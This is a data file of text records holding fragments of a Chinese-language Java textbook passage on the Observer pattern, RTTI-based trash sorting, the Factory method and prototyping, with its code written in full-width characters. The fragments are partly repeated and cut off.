    {"text": "此外，每个箱子都“实现”（ｉｍｐｌｅｍｅｎｔ）了“观察器”（Ｏｂｓｅｒｖｅｒ）接口，而且随一个 Ｏｂｓｅｒｖａｂｌｅ 对象进行了注册。"},
    {"text": "／／： ＢｏｘＯｂｓｅｒｖｅｒ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ Ｏｂｓｅｒｖｅｒ ｐａｔｔｅｒｎ ｕｓｉｎｇ ／／ Ｊａｖａ＇ｓ ｂｕｉｌｔ－ｉｎ ｏｂｓｅｒｖｅｒ ｃｌａｓｓｅｓ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ／／ Ｙｏｕ ｍｕｓｔ ｉｎｈｅｒｉｔ ａ ｎｅｗ ｔｙｐｅ ｏｆ Ｏｂｓｅｒｖａｂｌｅ： ｃｌａｓｓ ＢｏｘＯｂｓｅｒｖａｂｌｅ ｅｘｔｅｎｄｓ Ｏｂｓｅｒｖａｂｌｅ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｎｏｔｉｆｙＯｂｓｅｒｖｅｒｓ（Ｏｂｊｅｃｔ ｂ） ｛ ／／ Ｏｔｈｅｒｗｉｓｅ ｉｔ ｗｏｎ＇ｔ ｐｒｏｐａｇａｔｅ ｃｈａｎｇｅｓ： ｓｅｔＣｈａｎｇｅｄ（）； ｓｕｐｅｒ．ｎｏｔｉｆｙＯｂｓｅｒｖｅｒｓ（ｂ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＢｏｘＯｂｓｅｒｖｅｒ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ Ｏｂｓｅｒｖａｂｌｅ ｎｏｔｉｆｉｅｒ ＝ ｎｅｗ ＢｏｘＯｂｓｅｒｖａｂｌｅ（）； ｐｕｂｌｉｃ ＢｏｘＯｂｓｅｒｖｅｒ（ｉｎｔ ｇｒｉｄ） ｛ ｓｅｔＴｉｔｌｅ（＂Ｄｅｍｏｎｓｔｒａｔｅｓ Ｏｂｓｅｒｖｅｒ ｐａｔｔｅｒｎ＂）； ５９０ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（ｇｒｉｄ， ｇｒｉｄ））； ｆｏｒ（ｉｎｔ ｘ ＝ ０； ｘ ＜ ｇｒｉｄ； ｘ＋＋） ｆｏｒ（ｉｎｔ ｙ ＝ ０； ｙ ＜ ｇｒｉｄ； ｙ＋＋） ａｄｄ（ｎｅｗ ＯＣＢｏｘ（ｘ， ｙ， ｎｏｔｉｆｉｅｒ））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ ｇｒｉｄ ＝ ８； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＞ ０） ｇｒｉｄ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［０］）； Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＢｏｘＯｂｓｅｒｖｅｒ（ｇｒｉｄ）； ｆ．ｓｅｔＳｉｚｅ（５００， ４００）； ｆ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）； ｆ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "｝ ｝ ｃｌａｓｓ ＯＣＢｏｘ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｉｍｐｌｅｍｅｎｔｓ Ｏｂｓｅｒｖｅｒ ｛ Ｏｂｓｅｒｖａｂｌｅ ｎｏｔｉｆｉｅｒ； ｉｎｔ ｘ， ｙ； ／／ Ｌｏｃａｔｉｏｎｓ ｉｎ ｇｒｉｄ Ｃｏｌｏｒ ｃＣｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ（）； ｓｔａｔｉｃ ｆｉｎａｌ Ｃｏｌｏｒ［］ ｃｏｌｏｒｓ ＝ ｛ Ｃｏｌｏｒ．ｂｌａｃｋ， Ｃｏｌｏｒ．ｂｌｕｅ， Ｃｏｌｏｒ．ｃｙａｎ， Ｃｏｌｏｒ．ｄａｒｋＧｒａｙ， Ｃｏｌｏｒ．ｇｒａｙ， Ｃｏｌｏｒ．ｇｒｅｅｎ， Ｃｏｌｏｒ．ｌｉｇｈｔＧｒａｙ， Ｃｏｌｏｒ．ｍａｇｅｎｔａ， Ｃｏｌｏｒ．ｏｒａｎｇｅ， Ｃｏｌｏｒ．ｐｉｎｋ， Ｃｏｌｏｒ．ｒｅｄ， Ｃｏｌｏｒ．ｗｈｉｔｅ， Ｃｏｌｏｒ．ｙｅｌｌｏｗ ｝； ｓｔａｔｉｃ ｆｉｎａｌ Ｃｏｌｏｒ ｎｅｗＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｃｏｌｏｒｓ［ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ｃｏｌｏｒｓ．ｌｅｎｇｔｈ） ］； ｝ ＯＣＢｏｘ（ｉｎｔ ｘ， ｉｎｔ ｙ， Ｏｂｓｅｒｖａｂｌｅ ｎｏｔｉｆｉｅｒ） ｛ ｔｈｉｓ．ｘ ＝ ｘ； ｔｈｉｓ．ｙ ＝ ｙ； ｎｏｔｉｆｉｅｒ．ａｄｄＯｂｓｅｒｖｅｒ（ｔｈｉｓ）； ｔｈｉｓ．ｎｏｔｉｆｉｅｒ ＝ ｎｏｔｉｆｉｅｒ； ａｄｄＭｏｕｓｅＬｉｓｔｅｎｅｒ（ｎｅｗ ＭＬ（））； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（ｃＣｏｌｏｒ）； Ｄｉｍｅｎｓｉｏｎ ｓ ＝ ｇｅｔＳｉｚｅ（）； ｇ．ｆｉｌｌＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ， ｓ．ｈｅｉｇｈｔ）； ｝ ｃｌａｓｓ ＭＬ ｅｘｔｅｎｄｓ ＭｏｕｓｅＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＰｒｅｓｓｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｎｏｔｉｆｉｅｒ．ｎｏｔｉｆｙＯｂｓｅｒｖｅｒｓ（ＯＣＢｏｘ．ｔｈｉｓ）； ５９１ ｝ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｕｐｄａｔｅ（Ｏｂｓｅｒｖａｂｌｅ ｏ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ＯＣＢｏｘ ｃｌｉｃｋｅｄ ＝ （ＯＣＢｏｘ）ａｒｇ； ｉｆ（ｎｅｘｔＴｏ（ｃｌｉｃｋｅｄ）） ｛ ｃＣｏｌｏｒ ＝ ｃｌｉｃｋｅｄ．ｃＣｏｌｏｒ； ｒｅｐａｉｎｔ（）； ｝ ｝ ｐｒｉｖａｔｅ ｆｉｎａｌ ｂｏｏｌｅａｎ ｎｅｘｔＴｏ（ＯＣＢｏｘ ｂ） ｛ ｒｅｔｕｒｎ Ｍａｔｈ．ａｂｓ（ｘ － ｂ．ｘ） ＜＝ １ ＆＆ Ｍａｔｈ．ａｂｓ（ｙ － ｂ．ｙ） ＜＝ １；"},
    {"text": "｝ ｝ ／／／：￣ 如果是首次查阅 Ｏｂｓｅｒｖａｂｌｅ 的联机帮助文档，可能会多少感到有些困惑，因为它似乎表明可以用一个原始的 Ｏｂｓｅｒｖａｂｌｅ 对象来管理更新。"},
    {"text": "大家可自己试试——在 ＢｏｘＯｂｓｅｒｖｅｒ 中，创建一个 Ｏｂｓｅｒｖａｂｌｅ 对象，替换 ＢｏｘＯｂｓｅｒｖａｂｌｅ 对象，看看会有什么事情发生。"},
    {"text": "这个方法需要设置 “ｃｈａｎｇｅｄ”（已改变）标志，它意味着当我们调用 ｎｏｔｉｆｙＯｂｓｅｒｖｅｒｓ（）的时候，所有观察器事实上都会收到 通知。"},
    {"text": "在上面的例子中，ｓｅｔＣｈａｎｇｅｄ（）只是简单地在 ｎｏｔｉｆｙＯｂｓｅｒｖｅｒｓ（）中调用，大家可依据符合实际情况 的任何标准决定何时调用 ｓｅｔＣｈａｎｇｅｄ（）。"},
    {"text": "在 ＯＣＢｏｘ 中，只要点击鼠标，就会发出对 ｎｏｔｉｆｙＯｂｓｅｒｖｅｒｓ（）方法的调用，并将被点 中的那个对象作为一个参数传递进去，使收到消息（用它们的 ｕｐｄａｔｅ（）方法）的所有箱子都能知道谁被点中 了，并据此判断自己是否也要变动。"},
    {"text": "然而，只要稍 微仔细研究一下上面的代码，就会发现 ＢｏｘＯｂｓｅｒｖｅｒ 或 ＯＣＢｏｘ 中唯一需要留意是否使用 ＢｏｘＯｂｓｅｒｖａｂｌｅ 的地 方就是创建 Ｏｂｓｅｒｖａｂｌｅ 对象的时候——从那时开始，所有东西都会使用基本的 Ｏｂｓｅｒｖａｂｌｅ 接口。"},
    {"text": "／／： ＲｅｃｙｃｌｅＡ．ｊａｖａ ／／ Ｒｅｃｙｃｌｉｎｇ ｗｉｔｈ ＲＴＴＩ ｐａｃｋａｇｅ ｃ１６．ｒｅｃｙｃｌｅａ； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ａｂｓｔｒａｃｔ ｃｌａｓｓ Ｔｒａｓｈ ｛ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｗｅｉｇｈｔ； Ｔｒａｓｈ（ｄｏｕｂｌｅ ｗｔ） ｛ ｗｅｉｇｈｔ ＝ ｗｔ； ｝ ａｂｓｔｒａｃｔ ｄｏｕｂｌｅ ｖａｌｕｅ（）； ｄｏｕｂｌｅ ｗｅｉｇｈｔ（） ｛ ｒｅｔｕｒｎ ｗｅｉｇｈｔ； ｝ ／／ Ｓｕｍｓ ｔｈｅ ｖａｌｕｅ ｏｆ Ｔｒａｓｈ ｉｎ ａ ｂｉｎ： ５９２ ｓｔａｔｉｃ ｖｏｉｄ ｓｕｍＶａｌｕｅ（Ｖｅｃｔｏｒ ｂｉｎ） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｂｉｎ．ｅｌｅｍｅｎｔｓ（）； ｄｏｕｂｌｅ ｖａｌ ＝ ０．０ｆ； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ ／／ Ｏｎｅ ｋｉｎｄ ｏｆ ＲＴＴＩ： ／／ Ａ ｄｙｎａｍｉｃａｌｌｙ－ｃｈｅｃｋｅｄ ｃａｓｔ Ｔｒａｓｈ ｔ ＝ （Ｔｒａｓｈ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； ／／ Ｐｏｌｙｍｏｒｐｈｉｓｍ ｉｎ ａｃｔｉｏｎ： ｖａｌ ＋＝ ｔ．ｗｅｉｇｈｔ（） ＊ ｔ．ｖａｌｕｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｗｅｉｇｈｔ ｏｆ ＂ ＋ ／／ Ｕｓｉｎｇ ＲＴＴＩ ｔｏ ｇｅｔ ｔｙｐｅ ／／ ｉｎｆｏｒｍａｔｉｏｎ ａｂｏｕｔ ｔｈｅ ｃｌａｓｓ： ｔ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（） ＋ ＂ ＝ ＂ ＋ ｔ．ｗｅｉｇｈｔ（））； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ ｖａｌｕｅ ＝ ＂ ＋ ｖａｌ）； ｝ ｝ ｃｌａｓｓ Ａｌｕｍｉｎｕｍ ｅｘｔｅｎｄｓ Ｔｒａｓｈ ｛ ｓｔａｔｉｃ ｄｏｕｂｌｅ ｖａｌ ＝ １．６７ｆ； Ａｌｕｍｉｎｕｍ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｄｏｕｂｌｅ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｖａｌ； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｖａｌｕｅ（ｄｏｕｂｌｅ ｎｅｗｖａｌ） ｛ ｖａｌ ＝ ｎｅｗｖａｌ； ｝ ｝ ｃｌａｓｓ Ｐａｐｅｒ ｅｘｔｅｎｄｓ Ｔｒａｓｈ ｛ ｓｔａｔｉｃ ｄｏｕｂｌｅ ｖａｌ ＝ ０．１０ｆ； Ｐａｐｅｒ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｄｏｕｂｌｅ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｖａｌ； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｖａｌｕｅ（ｄｏｕｂｌｅ ｎｅｗｖａｌ） ｛ ｖａｌ ＝ ｎｅｗｖａｌ； ｝ ｝ ｃｌａｓｓ Ｇｌａｓｓ ｅｘｔｅｎｄｓ Ｔｒａｓｈ ｛ ｓｔａｔｉｃ ｄｏｕｂｌｅ ｖａｌ ＝ ０．２３ｆ； Ｇｌａｓｓ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｄｏｕｂｌｅ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｖａｌ； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｖａｌｕｅ（ｄｏｕｂｌｅ ｎｅｗｖａｌ） ｛ ｖａｌ ＝ ｎｅｗｖａｌ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＲｅｃｙｃｌｅＡ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｂｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ／／ Ｆｉｌｌ ｕｐ ｔｈｅ Ｔｒａｓｈ ｂｉｎ： ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ５９３ ｓｗｉｔｃｈ（（ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ３）） ｛ ｃａｓｅ ０ ： ｂｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ａｌｕｍｉｎｕｍ（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １００））；"},
    {"text": "ｂｒｅａｋ； ｃａｓｅ １ ： ｂｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｐａｐｅｒ（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １００））； ｂｒｅａｋ； ｃａｓｅ ２ ： ｂｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｇｌａｓｓ（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １００））； ｝ Ｖｅｃｔｏｒ ｇｌａｓｓＢｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）， ｐａｐｅｒＢｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）， ａｌＢｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； Ｅｎｕｍｅｒａｔｉｏｎ ｓｏｒｔｅｒ ＝ ｂｉｎ．ｅｌｅｍｅｎｔｓ（）； ／／ Ｓｏｒｔ ｔｈｅ Ｔｒａｓｈ： ｗｈｉｌｅ（ｓｏｒｔｅｒ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｏｂｊｅｃｔ ｔ ＝ ｓｏｒｔｅｒ．ｎｅｘｔＥｌｅｍｅｎｔ（）； ／／ ＲＴＴＩ ｔｏ ｓｈｏｗ ｃｌａｓｓ ｍｅｍｂｅｒｓｈｉｐ： ｉｆ（ｔ ｉｎｓｔａｎｃｅｏｆ Ａｌｕｍｉｎｕｍ） ａｌＢｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｔ）； ｉｆ（ｔ ｉｎｓｔａｎｃｅｏｆ Ｐａｐｅｒ） ｐａｐｅｒＢｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｔ）； ｉｆ（ｔ ｉｎｓｔａｎｃｅｏｆ Ｇｌａｓｓ） ｇｌａｓｓＢｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｔ）； ｝ Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ａｌＢｉｎ）； Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｐａｐｅｒＢｉｎ）； Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｇｌａｓｓＢｉｎ）； Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｂｉｎ）； ｝ ｝ ／／／：￣ 要注意的第一个地方是 ｐａｃｋａｇｅ 语句： ｐａｃｋａｇｅ ｃ１６．ｒｅｃｙｃｌｅａ；"},
    {"text": "之所以要它们容纳 Ｔｒａｓｈ（或者从 Ｔｒａｓｈ 衍生出来的其他东西），唯一的理由是 我们需要谨慎地避免放入除 Ｔｒａｓｈ 以外的其他任何东西。"},
    {"text": "如果真的把某些“错误”的东西置入 Ｖｅｃｔｏｒ，那么 不会在编译期得到出错或警告提示——只能通过运行期的一个违例知道自己已经犯了错误。"},
    {"text": "然而，由 于存在多形性的因素，所以在我们通过 Ｅｎｕｍｅｒａｔｉｏｎ ｓｏｒｔｅｒ 调用动态绑定方法时，一旦结果 Ｏｂｊｅｃｔ 已经造 型回 Ｔｒａｓｈ，仍然会发生正确的行为。"},
    {"text": "若根据对这个问题的回答来构造自己的系统，就可以得到两个方面 的结果：系统不仅更易维护（而且更廉价），而且能产生一些能够重复使用的对象，进而使其他相关系统的 构造也变得更廉价。"},
    {"text": "１ ６ ． ４ ． １ “制作更多的对象” 这样便引出了面向对象程序设计时一条常规的准则，我最早是在 Ｇｒａｄｙ Ｂｏｏｃｈ 那里听说的：“若设计过于复 杂，就制作更多的对象”。"},
    {"text": "尽管听起来有些暧昧，且简单得可笑，但这确实是我知道的最有用一条准则（大 家以后会注意到“制作更多的对象”经常等同于“添加另一个层次的迂回”）。"},
    {"text": "ｉ＋＋） ｓｗｉｔｃｈ（（ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ３）） ｛ ｃａｓｅ ０ ： ｂｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ａｌｕｍｉｎｕｍ（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １００））；"},
    {"text": "ｂｒｅａｋ； ｃａｓｅ １ ： ｂｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｐａｐｅｒ（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １００））； ｂｒｅａｋ； ｃａｓｅ ２ ： ｂｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｇｌａｓｓ（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １００））；"},
    {"text": "如果经常都要加入新类型，那么 更好的方案就是建立一个独立的方法，用它获取所有必需的信息，并创建一个句柄，指向正确类型的一个对 象——已经上溯造型到一个 Ｔｒａｓｈ 对象。"},
    {"text": "５９５ Ｆａｃｔｏｒｙ 方法的基本原理是我们将创建对象所需的基本信息传递给它，然后返回并等候句柄（已经上溯造型 至基础类型）作为返回值出现。"},
    {"text": "为实现 Ｆａｃｔｏｒｙ 方法，Ｔｒａｓｈ 类使用了一个新的方法，名为 ｆａｃｔｏｒｙ。 为了将 创建数据隐藏起来，我们用一个名为 Ｉｎｆｏ 的新类包含 ｆａｃｔｏｒｙ 方法创建适当的 Ｔｒａｓｈ 对象时需要的全部信 息。"},
    {"text": "／／ Ｍｕｓｔ ｃｈａｎｇｅ ｔｈｉｓ ｔｏ ａｄｄ ａｎｏｔｈｅｒ ｔｙｐｅ： ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＭＡＸ＿ＮＵＭ ＝ ４； ｄｏｕｂｌｅ ｄａｔａ； Ｉｎｆｏ（ｉｎｔ ｔｙｐｅＮｕｍ， ｄｏｕｂｌｅ ｄａｔ） ｛ ｔｙｐｅ ＝ ｔｙｐｅＮｕｍ ％ ＭＡＸ＿ＮＵＭ； ｄａｔａ ＝ ｄａｔ；"},
    {"text": "现在，假如出现了一种特殊情况，ｆａｃｔｏｒｙ（）需要 更多或者不同的信息来新建一种类型的 Ｔｒａｓｈ 对象，那么再也不需要改动 ｆａｃｔｏｒｙ（）了。"},
    {"text": "用于这个简单示例的 ｆａｃｔｏｒｙ（）方法如下： ｓｔａｔｉｃ Ｔｒａｓｈ ｆａｃｔｏｒｙ（Ｉｎｆｏ ｉ） ｛ ｓｗｉｔｃｈ（ｉ．ｔｙｐｅ） ｛ ｄｅｆａｕｌｔ： ／／ Ｔｏ ｑｕｉｅｔ ｔｈｅ ｃｏｍｐｉｌｅｒ ｃａｓｅ ０： ｒｅｔｕｒｎ ｎｅｗ Ａｌｕｍｉｎｕｍ（ｉ．ｄａｔａ）； ｃａｓｅ １： ｒｅｔｕｒｎ ｎｅｗ Ｐａｐｅｒ（ｉ．ｄａｔａ）； ｃａｓｅ ２： ｒｅｔｕｒｎ ｎｅｗ Ｇｌａｓｓ（ｉ．ｄａｔａ）； ／／ Ｔｗｏ ｌｉｎｅｓ ｈｅｒｅ： ｃａｓｅ ３： ｒｅｔｕｒｎ ｎｅｗ Ｃａｒｄｂｏａｒｄ（ｉ．ｄａｔａ）；"},
    {"text": "ｉ＋＋） ｂｉｎ．ａｄｄＥｌｅｍｅｎｔ（ Ｔｒａｓｈ．ｆａｃｔｏｒｙ（ ｎｅｗ Ｉｎｆｏ（ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ Ｉｎｆｏ．ＭＡＸ＿ＮＵＭ）， Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １００）））；"},
    {"text": "大家从这个代码可看出 Ｆａｃｔｏｒｙ 要负责解决的“领头变化”问题：如果向系统添加了新类型（发生了变 化），唯一需要修改的代码在 Ｆａｃｔｏｒｙ 内部，所以 Ｆａｃｔｏｒｙ 将那种变化的影响隔离出来了。"},
    {"text": "１ ６ ． ４ ． ２ 用于原型创建的一个范式 上述设计方案的一个问题是仍然需要一个中心场所，必须在那里知道所有类型的对象：在 ｆａｃｔｏｒｙ（）方法内 部。"},
    {"text": "为将涉及类型创建的信息移入特定类型的 Ｔｒａｓｈ 里，必须使用“原型”（ｐｒｏｔｏｔｙｐｅ）范式（来自《Ｄｅｓｉｇｎ Ｐａｔｔｅｒｎｓ》那本书）。"},
    {"text": "／／： Ｔｒａｓｈ．ｊａｖａ ／／ Ｂａｓｅ ｃｌａｓｓ ｆｏｒ Ｔｒａｓｈ ｒｅｃｙｃｌｉｎｇ ｅｘａｍｐｌｅｓ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈ； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｌａｎｇ．ｒｅｆｌｅｃｔ．＊； ｐｕｂｌｉｃ ａｂｓｔｒａｃｔ ｃｌａｓｓ Ｔｒａｓｈ ｛ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｗｅｉｇｈｔ； Ｔｒａｓｈ（ｄｏｕｂｌｅ ｗｔ） ｛ ｗｅｉｇｈｔ ＝ ｗｔ； ｝ Ｔｒａｓｈ（） ｛｝ ｐｕｂｌｉｃ ａｂｓｔｒａｃｔ ｄｏｕｂｌｅ ｖａｌｕｅ（）； ｐｕｂｌｉｃ ｄｏｕｂｌｅ ｗｅｉｇｈｔ（） ｛ ｒｅｔｕｒｎ ｗｅｉｇｈｔ； ｝ ／／ Ｓｕｍｓ ｔｈｅ ｖａｌｕｅ ｏｆ Ｔｒａｓｈ ｉｎ ａ ｂｉｎ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｓｕｍＶａｌｕｅ（Ｖｅｃｔｏｒ ｂｉｎ） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｂｉｎ．ｅｌｅｍｅｎｔｓ（）； ｄｏｕｂｌｅ ｖａｌ ＝ ０．０ｆ； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ ／／ Ｏｎｅ ｋｉｎｄ ｏｆ ＲＴＴＩ： ／／ Ａ ｄｙｎａｍｉｃａｌｌｙ－ｃｈｅｃｋｅｄ ｃａｓｔ Ｔｒａｓｈ ｔ ＝ （Ｔｒａｓｈ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； ｖａｌ ＋＝ ｔ．ｗｅｉｇｈｔ（） ＊ ｔ．ｖａｌｕｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ５９７ ＂ｗｅｉｇｈｔ ｏｆ ＂ ＋ ／／ Ｕｓｉｎｇ ＲＴＴＩ ｔｏ ｇｅｔ ｔｙｐｅ ／／ ｉｎｆｏｒｍａｔｉｏｎ ａｂｏｕｔ ｔｈｅ ｃｌａｓｓ： ｔ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（） ＋ ＂ ＝ ＂ ＋ ｔ．ｗｅｉｇｈｔ（））； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ ｖａｌｕｅ ＝ ＂ ＋ ｖａｌ）； ｝ ／／ Ｒｅｍａｉｎｄｅｒ ｏｆ ｃｌａｓｓ ｐｒｏｖｉｄｅｓ ｓｕｐｐｏｒｔ ｆｏｒ ／／ ｐｒｏｔｏｔｙｐｉｎｇ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｃｌａｓｓ ＰｒｏｔｏｔｙｐｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｃｌａｓｓ ＣａｎｎｏｔＣｒｅａｔｅＴｒａｓｈＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛｝ ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｖｅｃｔｏｒ ｔｒａｓｈＴｙｐｅｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｔｒａｓｈ ｆａｃｔｏｒｙ（Ｉｎｆｏ ｉｎｆｏ） ｔｈｒｏｗｓ ＰｒｏｔｏｔｙｐｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ， ＣａｎｎｏｔＣｒｅａｔｅＴｒａｓｈＥｘｃｅｐｔｉｏｎ ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｒａｓｈＴｙｐｅｓ．ｓｉｚｅ（）； ｉ＋＋） ｛ ／／ Ｓｏｍｅｈｏｗ ｄｅｔｅｒｍｉｎｅ ｔｈｅ ｎｅｗ ｔｙｐｅ ／／ ｔｏ ｃｒｅａｔｅ， ａｎｄ ｃｒｅａｔｅ ｏｎｅ： Ｃｌａｓｓ ｔｃ ＝ （Ｃｌａｓｓ）ｔｒａｓｈＴｙｐｅｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｉｆ （ｔｃ．ｇｅｔＮａｍｅ（）．ｉｎｄｅｘＯｆ（ｉｎｆｏ．ｉｄ） ！ ＝ －１） ｛ ｔｒｙ ｛ ／／ Ｇｅｔ ｔｈｅ ｄｙｎａｍｉｃ ｃｏｎｓｔｒｕｃｔｏｒ ｍｅｔｈｏｄ ／／ ｔｈａｔ ｔａｋｅｓ ａ ｄｏｕｂｌｅ ａｒｇｕｍｅｎｔ： Ｃｏｎｓｔｒｕｃｔｏｒ ｃｔｏｒ ＝ ｔｃ．ｇｅｔＣｏｎｓｔｒｕｃｔｏｒ（ ｎｅｗ Ｃｌａｓｓ［］ ｛ｄｏｕｂｌｅ．ｃｌａｓｓ｝）； ／／ Ｃａｌｌ ｔｈｅ ｃｏｎｓｔｒｕｃｔｏｒ ｔｏ ｃｒｅａｔｅ ａ ／／ ｎｅｗ ｏｂｊｅｃｔ： ｒｅｔｕｒｎ （Ｔｒａｓｈ）ｃｔｏｒ．ｎｅｗＩｎｓｔａｎｃｅ（ ｎｅｗ Ｏｂｊｅｃｔ［］｛ｎｅｗ Ｄｏｕｂｌｅ（ｉｎｆｏ．ｄａｔａ）｝）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅｘ） ｛ ｅｘ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｔｈｒｏｗ ｎｅｗ ＣａｎｎｏｔＣｒｅａｔｅＴｒａｓｈＥｘｃｅｐｔｉｏｎ（）； ｝ ｝ ｝ ／／ Ｃｌａｓｓ ｗａｓ ｎｏｔ 